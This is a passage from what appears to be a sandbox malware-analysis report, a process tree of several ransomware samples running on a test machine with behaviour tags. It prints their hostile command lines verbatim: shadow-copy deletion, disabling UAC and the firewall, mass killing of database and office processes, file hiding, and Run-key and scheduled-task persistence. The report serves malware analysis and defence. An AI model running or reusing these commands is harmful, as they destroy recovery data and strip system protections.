                                                                                        HEUR-Trojan-Ransom.Win32.Generic-6fa73224f2f164fc88fb703eaa71d2be8f044eb8662d6100de682dc6871a7236.exe
                                                                                        3⤵
                                                                                        • Executes dropped EXE
                                                                                        • Suspicious use of SetThreadContext
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:1040
                                                                                        • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Generic-6fa73224f2f164fc88fb703eaa71d2be8f044eb8662d6100de682dc6871a7236.exe
                                                                                          HEUR-Trojan-Ransom.Win32.Generic-6fa73224f2f164fc88fb703eaa71d2be8f044eb8662d6100de682dc6871a7236.exe
                                                                                          4⤵
                                                                                          • Modifies WinLogon for persistence
                                                                                          • Checks computer location settings
                                                                                          • Executes dropped EXE
                                                                                          • Loads dropped DLL
                                                                                          • Adds Run key to start application
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          • Modifies registry class
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:1584
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /k attrib "C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Generic-6fa73224f2f164fc88fb703eaa71d2be8f044eb8662d6100de682dc6871a7236.exe" +s +h
                                                                                            5⤵
                                                                                            • System Location Discovery: System Language Discovery
                                                                                            PID:2224
                                                                                            • C:\Windows\SysWOW64\attrib.exe
                                                                                              attrib "C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Generic-6fa73224f2f164fc88fb703eaa71d2be8f044eb8662d6100de682dc6871a7236.exe" +s +h
                                                                                              6⤵
                                                                                              • Sets file to hidden
                                                                                              • System Location Discovery: System Language Discovery
                                                                                              • Views/modifies file attributes
                                                                                              PID:3892
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /k attrib "C:\Users\Admin\Desktop\00466" +s +h
                                                                                            5⤵
                                                                                            • System Location Discovery: System Language Discovery
                                                                                            PID:932
                                                                                            • C:\Windows\SysWOW64\attrib.exe
                                                                                              attrib "C:\Users\Admin\Desktop\00466" +s +h
                                                                                              6⤵
                                                                                              • Sets file to hidden
                                                                                              • System Location Discovery: System Language Discovery
                                                                                              • Views/modifies file attributes
                                                                                              PID:4728
                                                                                          • C:\Windows\SysWOW64\notepad.exe
                                                                                            notepad
                                                                                            5⤵
                                                                                            • System Location Discovery: System Language Discovery
                                                                                            PID:344
                                                                                          • C:\Users\Admin\Documents\MSDCSC\msdcsc.exe
                                                                                            "C:\Users\Admin\Documents\MSDCSC\msdcsc.exe"
                                                                                            5⤵
                                                                                            • Executes dropped EXE
                                                                                            • Suspicious use of SetThreadContext
                                                                                            • System Location Discovery: System Language Discovery
                                                                                            PID:3964
                                                                                            • C:\Users\Admin\Documents\MSDCSC\msdcsc.exe
                                                                                              "C:\Users\Admin\Documents\MSDCSC\msdcsc.exe"
                                                                                              6⤵
                                                                                              • Modifies firewall policy service
                                                                                              • Modifies security service
                                                                                              • Windows security bypass
                                                                                              • Disables RegEdit via registry modification
                                                                                              • Executes dropped EXE
                                                                                              • Windows security modification
                                                                                              • Adds Run key to start application
                                                                                              • Suspicious use of SetThreadContext
                                                                                              • System Location Discovery: System Language Discovery
                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                              • System policy modification
                                                                                              PID:3272
                                                                                              • C:\Program Files (x86)\Internet Explorer\iexplore.exe
                                                                                                "C:\Program Files (x86)\Internet Explorer\iexplore.exe"
                                                                                                7⤵
                                                                                                • System Location Discovery: System Language Discovery
                                                                                                PID:2356
                                                                                                • C:\Program Files (x86)\Internet Explorer\iexplore.exe
                                                                                                  "C:\Program Files (x86)\Internet Explorer\iexplore.exe"
                                                                                                  8⤵
                                                                                                    PID:4720
                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2356 -s 376
                                                                                                    8⤵
                                                                                                    • Program crash
                                                                                                    PID:4668
                                                                                        • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Generic-77a825de2426a199fffbd178d67e8282ff63a037c96cbd1c1ebe5913ec4d1a9e.exe
                                                                                          HEUR-Trojan-Ransom.Win32.Generic-77a825de2426a199fffbd178d67e8282ff63a037c96cbd1c1ebe5913ec4d1a9e.exe
                                                                                          3⤵
                                                                                          • Executes dropped EXE
                                                                                          • Adds Run key to start application
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                          PID:1016
                                                                                        • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Generic-91a66df8eaf8bc989c0e1a296b4bc5c578ceb8bcaf3d256d609480535def3da9.exe
                                                                                          HEUR-Trojan-Ransom.Win32.Generic-91a66df8eaf8bc989c0e1a296b4bc5c578ceb8bcaf3d256d609480535def3da9.exe
                                                                                          3⤵
                                                                                          • Executes dropped EXE
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          PID:4636
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c tasklist /v /fo csv | findstr /i "dcdcf"
                                                                                            4⤵
                                                                                            • System Location Discovery: System Language Discovery
                                                                                            PID:3416
                                                                                            • C:\Windows\SysWOW64\tasklist.exe
                                                                                              tasklist /v /fo csv
                                                                                              5⤵
                                                                                              • Enumerates processes with tasklist
                                                                                              • System Location Discovery: System Language Discovery
                                                                                              PID:3600
                                                                                            • C:\Windows\SysWOW64\findstr.exe
                                                                                              findstr /i "dcdcf"
                                                                                              5⤵
                                                                                              • System Location Discovery: System Language Discovery
                                                                                              PID:1100
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c ver
                                                                                            4⤵
                                                                                              PID:4256
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c cd "%SystemDrive%\Users\%username%\AppData\"&t2_svc.bat
                                                                                              4⤵
                                                                                                PID:6616
                                                                                                • C:\Windows\SysWOW64\WScript.exe
                                                                                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\v9_svc.vbs"
                                                                                                  5⤵
                                                                                                    PID:7652
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /C echo C:\Users\Admin\AppData\h4_svc.bat
                                                                                                      6⤵
                                                                                                        PID:256
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\h4_svc.bat" "
                                                                                                        6⤵
                                                                                                          PID:7636
                                                                                                          • C:\Windows\SysWOW64\tasklist.exe
                                                                                                            tasklist /v
                                                                                                            7⤵
                                                                                                            • Enumerates processes with tasklist
                                                                                                            PID:7936
                                                                                                          • C:\Windows\SysWOW64\find.exe
                                                                                                            find /I /c "dcdcf"
                                                                                                            7⤵
                                                                                                              PID:7712
                                                                                                            • C:\Windows\SysWOW64\timeout.exe
                                                                                                              timeout /t 15 /nobreak
                                                                                                              7⤵
                                                                                                              • Delays execution with timeout.exe
                                                                                                              PID:1084
                                                                                                            • C:\Windows\SysWOW64\tasklist.exe
                                                                                                              tasklist /fi "ImageName eq HEUR-Trojan-Ransom.Win32.Generic-91a66df8eaf8bc989c0e1a296b4bc5c578ceb8bcaf3d256d609480535def3da9.exe" /fo csv
                                                                                                              7⤵
                                                                                                              • Enumerates processes with tasklist
                                                                                                              PID:6436
                                                                                                            • C:\Windows\SysWOW64\find.exe
                                                                                                              find /I "HEUR-Trojan-Ransom.Win32.Generic-91a66df8eaf8bc989c0e1a296b4bc5c578ceb8bcaf3d256d609480535def3da9.exe"
                                                                                                              7⤵
                                                                                                                PID:3588
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /c schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\%username%\AppData\t2_svc.bat'" /f
                                                                                                          4⤵
                                                                                                            PID:5868
                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                              schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\Admin\AppData\t2_svc.bat'" /f
                                                                                                              5⤵
                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                              PID:5972
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /c nslookup myip.opendns.com. resolver1.opendns.com
                                                                                                            4⤵
                                                                                                              PID:7576
                                                                                                              • C:\Windows\SysWOW64\nslookup.exe
                                                                                                                nslookup myip.opendns.com. resolver1.opendns.com
                                                                                                                5⤵
                                                                                                                  PID:7000
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c echo %date%-%time%
                                                                                                                4⤵
                                                                                                                  PID:5592
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c systeminfo|find /i "os name"
                                                                                                                  4⤵
                                                                                                                    PID:7824
                                                                                                                    • C:\Windows\SysWOW64\systeminfo.exe
                                                                                                                      systeminfo
                                                                                                                      5⤵
                                                                                                                      • Gathers system information
                                                                                                                      PID:5444
                                                                                                                    • C:\Windows\SysWOW64\find.exe
                                                                                                                      find /i "os name"
                                                                                                                      5⤵
                                                                                                                        PID:7356
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c systeminfo|find /i "original"
                                                                                                                      4⤵
                                                                                                                        PID:7568
                                                                                                                        • C:\Windows\SysWOW64\systeminfo.exe
                                                                                                                          systeminfo
                                                                                                                          5⤵
                                                                                                                          • Gathers system information
                                                                                                                          PID:5560
                                                                                                                        • C:\Windows\SysWOW64\find.exe
                                                                                                                          find /i "original"
                                                                                                                          5⤵
                                                                                                                            PID:6080
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic shadowcopy delete&netsh advfirewall set currentprofile state off&netsh firewall set opmode mode=disable&netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes
                                                                                                                          4⤵
                                                                                                                            PID:2996
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                              5⤵
                                                                                                                              • Modifies registry key
                                                                                                                              PID:4420
                                                                                                                            • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                              wmic shadowcopy delete
                                                                                                                              5⤵
                                                                                                                                PID:6120
                                                                                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                netsh advfirewall set currentprofile state off
                                                                                                                                5⤵
                                                                                                                                • Modifies Windows Firewall
                                                                                                                                PID:5172
                                                                                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                netsh firewall set opmode mode=disable
                                                                                                                                5⤵
                                                                                                                                • Modifies Windows Firewall
                                                                                                                                PID:6108
                                                                                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes
                                                                                                                                5⤵
                                                                                                                                • Modifies Windows Firewall
                                                                                                                                PID:6868
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c taskkill /im notepad.exe&taskkill /im msftesql.exe&taskkill /im sqlagent.exe&taskkill /im sqlbrowser.exe&taskkill /im sqlservr.exe&taskkill /im sqlwriter.exe&taskkill /im oracle.exe&taskkill /im ocssd.exe&taskkill /im dbsnmp.exe&taskkill /im synctime.exe&taskkill /im agntsvc.exe&taskkill /im mydesktopqos.exe&taskkill /im isqlplussvc.exe&taskkill /im xfssvccon.exe&taskkill /im mydesktopservice.exe&taskkill /im ocautoupds.exe&taskkill /im agntsvc.exe&taskkill /im encsvc.exe&taskkill /im firefoxconfig.exe&taskkill /im tbirdconfig.exe&taskkill /im ocomm.exe&taskkill /im mysqld.exe&taskkill /im mysqld-nt.exe&taskkill /im mysqld-opt.exe&taskkill /im dbeng50.exe&taskkill /im sqbcoreservice.exe&taskkill /im excel.exe&taskkill /im infopath.exe&taskkill /im msaccess.exe&taskkill /im mspub.exe&taskkill /im onenote.exe&taskkill /im outlook.exe&taskkill /im powerpnt.exe&taskkill /im steam.exe&taskkill /im thebat.exe&taskkill /im thebat64.exe&taskkill /im thunderbird.exe&taskkill /im visio.exe&taskkill /im winword.exe&taskkill /im wordpad.exe
                                                                                                                              4⤵
                                                                                                                                PID:6196
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im notepad.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:5204
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im msftesql.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:3504
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im sqlagent.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:5836
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im sqlbrowser.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:6336
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im sqlservr.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:5240
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im sqlwriter.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:5560
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im oracle.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:7196
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im ocssd.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:1040
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im dbsnmp.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:6792
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im synctime.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:164
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im agntsvc.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:5788
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im mydesktopqos.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:7376
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im isqlplussvc.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:3380
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im xfssvccon.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:2596
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im mydesktopservice.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:7592
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im ocautoupds.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:1520
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im agntsvc.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:7480
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im encsvc.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:7280
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im firefoxconfig.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:7960
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im tbirdconfig.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:372
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im ocomm.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:6736
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im mysqld.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:7576
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im mysqld-nt.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:4948
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im mysqld-opt.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:6000
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im dbeng50.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:4812
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im sqbcoreservice.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:7936
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im excel.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:4224
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im infopath.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:5832
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im msaccess.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:1572
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im mspub.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:164
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im onenote.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:3684
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im outlook.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:7376
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im powerpnt.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:3600
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im steam.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:5740
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im thebat.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:2548
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im thebat64.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:6344
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im thunderbird.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:7240
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im visio.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:8008
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im winword.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:6832
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im wordpad.exe
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:32
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Machin_Update /f&reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Machin_Update /f
                                                                                                                                4⤵
                                                                                                                                  PID:6488
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Machin_Update /f
                                                                                                                                    5⤵
                                                                                                                                      PID:3528
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Machin_Update /f
                                                                                                                                      5⤵
                                                                                                                                      • Modifies registry key
                                                                                                                                      PID:7160
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Machin_Update /t REG_SZ /d c:\Documents and Settings\RCRU_64.exe /f&reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Machin_Update /t REG_SZ /d c:\Documents and Settings\RCRU_64.exe /f
                                                                                                                                    4⤵
                                                                                                                                      PID:6536
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Machin_Update /t REG_SZ /d c:\Documents and Settings\RCRU_64.exe /f
                                                                                                                                        5⤵
                                                                                                                                        • Modifies registry key
                                                                                                                                        PID:6868
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Machin_Update /t REG_SZ /d c:\Documents and Settings\RCRU_64.exe /f
                                                                                                                                        5⤵
                                                                                                                                          PID:1760
                                                                                                                                    • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Generic-ada8cc55f7ffb82ebc1e00dbd591f18e9f5d0e76dffa44dec99beaf152e058cc.exe
                                                                                                                                      HEUR-Trojan-Ransom.Win32.Generic-ada8cc55f7ffb82ebc1e00dbd591f18e9f5d0e76dffa44dec99beaf152e058cc.exe
                                                                                                                                      3⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      PID:4056
                                                                                                                                      • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Generic-ada8cc55f7ffb82ebc1e00dbd591f18e9f5d0e76dffa44dec99beaf152e058cc.exe
                                                                                                                                        HEUR-Trojan-Ransom.Win32.Generic-ada8cc55f7ffb82ebc1e00dbd591f18e9f5d0e76dffa44dec99beaf152e058cc.exe
                                                                                                                                        4⤵
                                                                                                                                        • Modifies WinLogon for persistence
                                                                                                                                        • Checks computer location settings
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        • Loads dropped DLL
                                                                                                                                        • Adds Run key to start application
                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                        • Modifies registry class
                                                                                                                                        PID:2932
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" /k attrib "C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Generic-ada8cc55f7ffb82ebc1e00dbd591f18e9f5d0e76dffa44dec99beaf152e058cc.exe" +s +h
                                                                                                                                          5⤵
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          PID:2276
                                                                                                                                          • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                            attrib "C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Generic-ada8cc55f7ffb82ebc1e00dbd591f18e9f5d0e76dffa44dec99beaf152e058cc.exe" +s +h
                                                                                                                                            6⤵
                                                                                                                                            • Sets file to hidden
                                                                                                                                            • Views/modifies file attributes
                                                                                                                                            PID:3984
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" /k attrib "C:\Users\Admin\Desktop\00466" +s +h
                                                                                                                                          5⤵
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          PID:960
                                                                                                                                          • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                            attrib "C:\Users\Admin\Desktop\00466" +s +h
                                                                                                                                            6⤵
                                                                                                                                            • Sets file to hidden
                                                                                                                                            • Views/modifies file attributes
                                                                                                                                            PID:1928
                                                                                                                                        • C:\Windows\SysWOW64\notepad.exe
                                                                                                                                          notepad
                                                                                                                                          5⤵
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          PID:4916
                                                                                                                                        • C:\Users\Admin\Documents\MSDCSC\locQi1ySlvoS\msdcsc.exe
                                                                                                                                          "C:\Users\Admin\Documents\MSDCSC\locQi1ySlvoS\msdcsc.exe"
                                                                                                                                          5⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • Suspicious use of SetThreadContext
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          PID:1964
                                                                                                                                          • C:\Users\Admin\Documents\MSDCSC\locQi1ySlvoS\msdcsc.exe
                                                                                                                                            "C:\Users\Admin\Documents\MSDCSC\locQi1ySlvoS\msdcsc.exe"
                                                                                                                                            6⤵
                                                                                                                                            • Modifies firewall policy service
                                                                                                                                            • Modifies security service
                                                                                                                                            • Windows security bypass
                                                                                                                                            • Disables RegEdit via registry modification
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            • Windows security modification
                                                                                                                                            • Adds Run key to start application
                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                            • System policy modification
                                                                                                                                            PID:1408
                                                                                                                                            • C:\Program Files (x86)\Internet Explorer\iexplore.exe
                                                                                                                                              "C:\Program Files (x86)\Internet Explorer\iexplore.exe"
                                                                                                                                              7⤵
                                                                                                                                                PID:5112
                                                                                                                                              • C:\Windows\explorer.exe
                                                                                                                                                "C:\Windows\explorer.exe"
                                                                                                                                                7⤵
                                                                                                                                                  PID:5068
                                                                                                                                                • C:\Windows\SysWOW64\notepad.exe
                                                                                                                                                  notepad
                                                                                                                                                  7⤵
                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                  PID:392
                                                                                                                                        • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Shade.gen-d23c897e7bb23a6a525d1206dc792f0b81c34b4cce433614c08ce87aecd247fe.exe
                                                                                                                                          HEUR-Trojan-Ransom.Win32.Shade.gen-d23c897e7bb23a6a525d1206dc792f0b81c34b4cce433614c08ce87aecd247fe.exe
                                                                                                                                          3⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          PID:2644
                                                                                                                                        • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Stop.gen-07985c9819097683b7f2bc59cc7d02e0497f012187e05b922404421cf6e55876.exe
                                                                                                                                          HEUR-Trojan-Ransom.Win32.Stop.gen-07985c9819097683b7f2bc59cc7d02e0497f012187e05b922404421cf6e55876.exe
                                                                                                                                          3⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          PID:3148
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
                                                                                                                                            4⤵
                                                                                                                                              PID:4916
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS4338A129\setup_install.exe
                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\7zS4338A129\setup_install.exe"
                                                                                                                                                5⤵
                                                                                                                                                  PID:5268
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /c arnatic_1.exe
                                                                                                                                                    6⤵
                                                                                                                                                      PID:5640
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS4338A129\arnatic_1.exe
                                                                                                                                                        arnatic_1.exe
                                                                                                                                                        7⤵
                                                                                                                                                          PID:6076
                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
